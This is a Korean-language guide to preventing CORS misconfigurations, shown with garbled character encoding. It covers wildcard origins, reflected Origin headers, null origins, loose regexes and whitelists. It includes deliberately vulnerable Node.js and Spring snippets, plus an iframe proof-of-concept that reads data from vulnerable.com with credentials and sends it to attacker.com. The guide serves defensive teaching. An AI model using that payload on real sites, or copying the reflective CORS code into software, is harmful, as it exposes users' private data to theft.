๐ CORS ๋ณด์ ์ทจ์ฝ์ ์๋ฐฉ ๊ฐ์ด๋
CORS์ ๋ณด์ ๋ฌธ์ ์
๋ค๋ฅธ ์ถ์ฒ(Origin)์ ์๋ฒ์ ๋ฆฌ์์ค๋ฅผ ์ ์ฝ์์ด ๊ฐ์ ธ์ ์ฌ์ฉํ ๊ฒฝ์ฐ XSS(Cross-Site Scripting)๋ CSRF(Cross-Site Request Fogery)์ ๊ฐ์ ์คํฌ๋ฆฝํ ๊ณต๊ฒฉ์ ๋นํ ์ํ์ฑ์ด ์๋ค.
๊ทธ๋์ ํ์ํ ๊ฒ์ด ๋ธ๋ผ์ฐ์ ์ SOP(Same Origin Policy) ์ ์ฑ ์ด๋ค.
ํ์ง๋ง SOP ์ ์ฑ ์ ์ค๋ก์ง ๋์ผํ ์ถ์ฒ์์๋ง ๋ฆฌ์์ค๋ฅผ ๊ณต์ ํ ์ ์์ด, ๊ธ๋ก๋ฒํ ์ธํฐ๋ท ํ๊ฒฝ์์ ์ด๋ ๋๋ฌด ์ ํ์ ์ด๋ผ๋ ๋จ์ ์ด ์กด์ฌํ๋ค. ๋ฐ๋ผ์ ์๋น์ค ์ฐจ์์์ ๋ช๋ช์ ๋ค๋ฅธ ์ถ์ฒ๋ผ๋ ๋ฆฌ์์ค ๊ณต์ ๋ฅผ ํ์ฉํด ์ฃผ๊ฒ ๋ค๋ ๊ฒ์ด ๋ฐ๋ก CORS(Cross Origin Resource Sharing) ์ ์ฑ ์ด๋ค.
ํ์ง๋ง ์ฌ์ฉ์๋ค์ ํธ์๋ฅผ ์ํด ํ์ํ CORS ์ ์ฑ ์ ๋ํด, ์๋ฒ์์ ๋๋ฌด ์ ์ฐํ๊ฒ ๋ฆฌ์์ค ํ์ฉ ์ค์ ์ ํ๊ฒ ๋ ๊ฒฝ์ฐ, ์น์ดํ๋ฆฌ์ผ์ด์ ์ ํ๋ฆ์ ์ ์ฉํ์ฌ ํ์ธ์ ๊ฐ์ธ์ ๋ณด๋ฅผ ํดํนํ ์ํ์ฑ์ด ์๊ฒ ๋๋ค.
์ด๋ ๋น์ฐํ ๊ฒ์ด, ์๋๋ SOP ์ ์ฑ ์ผ๋ก ๋งํ์ด์ผํ ์ธ๋ถ ๋ฆฌ์์ค๋ค์ด CORS ์ ์ฑ ์ผ๋ก ์ต์ง๋ก ๋ซ์ด์คฌ์ผ๋ ๊ณต๊ฒฉ์ ๊ทธ๋๋ก ๋ ธ์ถ๋๋๊ฑด ๋น์ฐํ ์์์ด๋ค.
์ฆ, ๊ฐ๋ฐ์๊ฐ CORS ์ ์ฑ ์ ์๋ชป ๊ตฌ์ฑํ ๊ฒฝ์ฐ ์ฌ๊ฐํ ๋ณด์ ์ํ์ด ๋ ์ ์๋ค๋ ์๋ฆฌ์ด๋ค.
๋ํ์ ์ธ ์๋ก Access-Control-Allow-Origin ํค๋์ ํ์ฉํ ๋๋ฉ์ธ๋ค์ ์ผ์ผํ ์ค์ ํ๊ธฐ ๊ท์ฐฎ๋ค๊ณ ์์ผ๋ ์นด๋(*)๋ก ํ์น๋๊ฑธ ๋ค ์ ์๋ค.
CORS ๋ณด์ ๋ฌธ์ ์๋ฐฉ ๊ฐ์ด๋
๋ค์์ ์ทจ์ฝํ CORS์ ๊ตฌ์ฑ์ ์๋ฐฉ ๋ฐ ์ํํ๋ ์ง์นจ ๊ฐ์ด๋์ด๋ค.
1. ์์ผ๋์นด๋(*) ์ถ์ฒ ์ฌ์ฉ ๊ธ์ง
์์ํ์๋ฏ์ด ๋ชจ๋ ๋๋ฉ์ธ์ ํ์ฉํ๋ ์์ผ๋์นด๋์ ์ฌ์ฉ์ ์๋ฌด๋ฆฌ ๊ท์ฐฎ๋๋ผ๋ ์๋น์ค๊ฐ ์ ์ฒด์ ์ผ๋ก ๊ณต๊ฐ๋ ๊ฒ์ด ์๋๋ผ๋ฉด ์ฌ์ฉ์ ์์ ํ์ฌ์ผ ํ๋ค.
2. Origin ์์ฒญ ํค๋์ ๊ฐ์ ๊ทธ๋๋ก ์ฌ์ฉ ๊ธ์ง
์์ ์์ผ๋์นด๋(*)๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๊ณผ ๋ค๋ฆ์ด ์๋ ์ํฉ์ด๋ค.
๋ง์ผ ๋ค๋ฅธ ์ถ์ฒ ๋ผ๋ฆฌ ์ฟ ํค ํต์ ์ ํด์ผํ ๋ ํด๋ผ์ด์ธํธ์์ withCredentials ์ต์
์ ํ์ฑํํ์ฌ์ผ ํ๋๋ฐ, ์ด๋ Access-Control-Allow-Origin ํค๋์ ์์ผ๋์นด๋(*)๋ฅผ ์ฌ์ฉํ์ง ๋ชปํ๊ฒ ๋๋ค.
์ด๋ ์ฐ๋ ๊ผผ์ ๋ฐฉ๋ฒ์ด ๋ผ์ฐํฐ์ ๋ค์ด์จ ์์ฒญ ๋ฐ์ดํฐ์ request ๊ฐ์ฒด์ Origin ํค๋๊ฐ์ ๊ฐ์ ธ์์ ๊ทธ๋๋ก Access-Control-Allow-Origin ํค๋์ ๋ฃ๋ ๋ฐฉ์์ด๋ค.
๊ธธ๊ฒ ์ค๋ช ํ ํ์์์ด ๊ฐ๋ฐ์์ ๊ฒ์ผ๋ฆ์ ์ํด ๋ฐ์๋๋ ๋ณด์ ์ทจ์ฝ์ ์ด๋ฉฐ ์ด๋ฌํ ๋ก์ง์ ์ฌ์ฉ์ ์ง์ํ์ฌ์ผ ํ๋ค.
/* Node.js */
app.get('/users', (req, res) => {
res.header("Access-Control-Allow-Origin", req.headers.origin);
// ...
}
/* Spring */
@Component
public class SimpleCorsFilter implements Filter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
// ...
}
// ...
}
3. NULL ์ถ์ฒ ํ์ฉ ๊ธ์ง
๊ฐ๋ ๋ก์ปฌ ํ๊ฒฝ์์ ๊ฐ๋ฐํ๊ณ ํ
์คํธํ ๋ Origin์ด null๋ก ๋์ด์์, ์๋ฒ์์ Access-Control-Allow-Origin ํค๋์ null์ ์ค์ ํ๊ณ ๊ฐ๋ฐ์ ์ด์ด๋๊ฐ๋ค, ๊ฐ๋ฐ์ด ์๋ฃ๋๋ฉด ๊ทธ๋๋ก ๋ฐฐํฌํ๋ ์ผ์ด ์ผ์ด๋๋ค.
์ด์ฐจํผ ์ค์๋น์ค๋ ์น์๋ฒ์ ์ํด ๋ฐฐํฌ๊ฐ ๋ ๊ฒ์ด๊ณ , ์๋น์ค์ ์ ์ํ๋ ๊ฒ๋ ์ค์ ์น์ฃผ์๋ฅผ ํตํด ๋ค์ด์ค๋๋ฐ ๋ฌด์์ด ๋ฌธ์ ๋๊ณ ์๋ฌธ์ ํํ ์ ์๊ฒ ์ง๋ง, ๊ฒฐ๋ก ๋ถํฐ ๋งํ๋ฉด Origin: null์ ๊ฐ๋จํ ๋ซ๋ฆด์ ์๋ค.
iframe์ ํตํ ๊ณต๊ฒฉ
iframe ์ html์ ํ์ด์ง์ ์ฝ์
ํด์ฃผ๋ ๊ฒ ๋ฟ๋ง ์๋๋ผ, src ๊ฐ์ javascript: ๋ data: ๋ฑ์ ๋ฃ์ด ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ฒํ ์ ์๊ฒ ํ ์ ์๋ค.
๋ง์ผ ์ด๋ฐ์์ผ๋ก iframe ๋ด๋ถ์์ ์์ฒญ์ ๋ณด๋ด๊ฒ ๋๋ค๋ฉด Origin์ ์๋์ผ๋ก null๋ก ๋์ด์ ์๋ฒ๋ก ๋ณด๋ด์ง๊ฒ ๋๋ค.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open('get', 'https://vulnerable.com/path_to_get_data', true); // ์ทจ์ฝํ ์๋ฒ๋ก ajax ์์ฒญ์ ๋ณด๋
xhr.withCredentials = true;
xhr.send();
function reqListener() {
location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText);
};
</script>">
</iframe>
- ํผํด์๊ฐ ์น๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ๊ณต๊ฒฉ์ฌ์ดํธ attacker.com ์ ์ ์ํ๋ค.
- attacker.com์ ์๋ฒ ๋๋ ๋์ด ์๋ iframe์ ์๋ ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ํฌํธ ์ฌ์ดํธ์ ์ฟ ํค๋ฅผ ๋ด์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ์กฐํํ๋ ์์ฒญ์ ๋ชฐ๋ ๋ณด๋ธ๋ค.
- ์ด๋ ๋ธ๋ผ์ฐ์ ์ Origin์ null๋ก ์ฒ๋ฆฌ๋์ด ๋ณด๋ด์ง๊ฒ ๋๋ค.
- ๋ง์ผ ์๋ฒ์์ null์ ๋ํด ์ถ์ฒ๋ฅผ ํ์ฉ๋๋๋ก ์ฒ๋ฆฌํ๋ค๋ฉด ์ ์ ์๋ต์ ํ๊ฒ ๋๋ค.
- ํผํด์์ ๊ฐ์ธ์ ๋ณด๋ฅผ attacker.com์ ์ฟผ๋ฆฌ์คํธ๋ง์ผ๋ก ๋ฃ์ด ์ ์กํ๋ค.
4. ์ ๊ท์์ผ๋ก ์ฒ๋ฆฌํ ๊ฒ์ด๋ผ๋ฉด ์กฐ์ฌํ
ํจ์จ์ ์ธ ์ฝ๋ ์์ฑ์ ์ํด ๋๋ฉ์ธ์ ์ ๊ท์์ผ๋ก ์ฒ๋ฆฌํ๋ ๊ฒฝ์ฐ๋ ์กด์ฌํ๋ค.
์๋ฅผ๋ค์ด ๋ค์๊ณผ ๊ฐ์ ๋๋ฉ์ธ์ ๋ํ ์ ๊ท์์ด ์๋ค๊ณ ํ์. ์์ ๋๋ฉ์ธ example.com ์ ํ์ ๋๋ฉ์ธ์๊ฒ๋ง ์ ๊ทผ์ ํ์ฉํ๋๋ก ์ฒ๋ฆฌ๋ ์์ด๋ฉฐ, ๋์ค์ ์ถ๊ฐ๋ ์ฌ๋ฌ๊ฐ์ง ํ์ ๋๋ฉ์ธ๋ค์ ๋ํด ์๋ฒ ์ฝ๋ ์์ ์์ด ์ ์ฐํ๊ฒ ์ฒ๋ฆฌ๋ ๊ฐ๋ฅํ๋ค.
const regex = /[a-z]+.example.com/g
ํ์ง๋ง ์์ ์ ๊ทํํ์์ ์ ์ ํ์ง ์๋ค.
์ ๊ท์์ ๋ณธ๋ ์๋์ธ ํ์ ๋๋ฉ์ธ์๊ฒ๋ง ์ ๊ทผ์ ํ์ฉํ๋๊ฑด ๋ฌธ์ ์์ง๋ง, [a-z]+ ๋ค์์ ์๋ ์ . ์ด ๋ฌธ์ ๋ค. ์ ๊ทํํ์์์ ์ (.)์ ๋ชจ๋ ๋ฌธ์๋ฅผ ๋ปํ๊ธฐ ๋๋ฌธ์ด๋ค.
๊ฒฐ๊ตญ ๊ณต๊ฒฉ์๋ ๋ฐ๋ก attackerexample.com ๋๋ฉ์ธ์ ์๋ก ์ค๋นํ๊ธฐ๋ง ํ๋ฉด ์๋ฒ์ ํํฐ๋ง ๋ก์ง์ ์์ฝ๊ฒ ๋ซ๋ฆฌ๊ฒ ๋๋ ๊ฒฐ๊ณผ๋ฅผ ๋ณ๊ฒ ๋๋ค.
ํด๊ฒฐ ๋ฐฉ๋ฒ์ ์ (.)์ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌํ์ฌ ๋ฌธ์ํ ์ํค๋ ๊ฒ์ด๋ค.
์ด์ฒ๋ผ ํ์ฉํ CORS Origin์ ์ค์ ํ ๋ ์ ๊ท์์ผ๋ก ์ฒ๋ฆฌํ ๊ฒฝ์ฐ ์๋ฒฝํ ๊ฒ์ฆ์ด ์๊ตฌํ๊ฒ ๋๋ค.
const regex = /[a-z]+\.example.com/g
5. ํ์ดํธ ๋ฆฌ์คํธ ์ฌ์ฉ
๊ฒฐ๊ตญ์ ์ด๋๊ฐ์ ๋ฐฐ์ด์ด๋ ๋ฆฌ์คํธ์ ํ์ฉํ ์ถ์ฒ๋ค์ ์ ์ฅํด๋๊ณ ๊ด๋ฆฌํ๋ ๊ฒ์ด ๊ฐ์ฅ ๋ฒ ์คํธ์ด๋ค.
๋ฐ๋ผ์ ์์ฒญ์ ์ ์กํ ์ถ์ฒ๊ฐ ํ์ดํธ ๋ฆฌ์คํธ์ ์๋ ๋๋ฉ์ธ ๋ชฉ๋ก์ ์๋ ๊ฒฝ์ฐ์๋ง Access-Control-Allow-Origin ํค๋์ ํด๋น ์ถ์ฒ๋ฅผ ์ง์ ํ๋ ์์ผ๋ก ๋ฐฑ์๋ ๊ฐ๋ฐ์๋ ํ๋ ์ฝ๋ฉ์ ์กฐ๊ธ ํด์ผํ๋ค.
ํด๋ผ์ด์ธํธ์์ Origin์ ๋ณ์กฐํด๋ ๋ฌธ์ ์๋๊ฐ?
๊ทธ๋ ๋ค๋ฉด ํด๋ผ์ด์ธํธ์์ ๋ฏธ๋ฆฌ origin ํค๋๊ฐ์ ์์กฐํ๋ฉด ์๋ฒ์ CORS๋ฅผ ๋ซ์์ ์์ง ์์๊น ์ถ์ง๋ง, ๋ธ๋ผ์ฐ์ ์์ ์ด๋ฅผ ๊ฐ์งํ์ฌ ์์ฒ ์ฐจ๋จํ๊ธฐ ๋๋ฌธ์ ๊ฒฐ๋ก ์ ๋ถ๊ฐ๋ฅํ๋ค.
# ์ฐธ๊ณ ์๋ฃ
https://www.bugbountyclub.com/pentestgym/view/60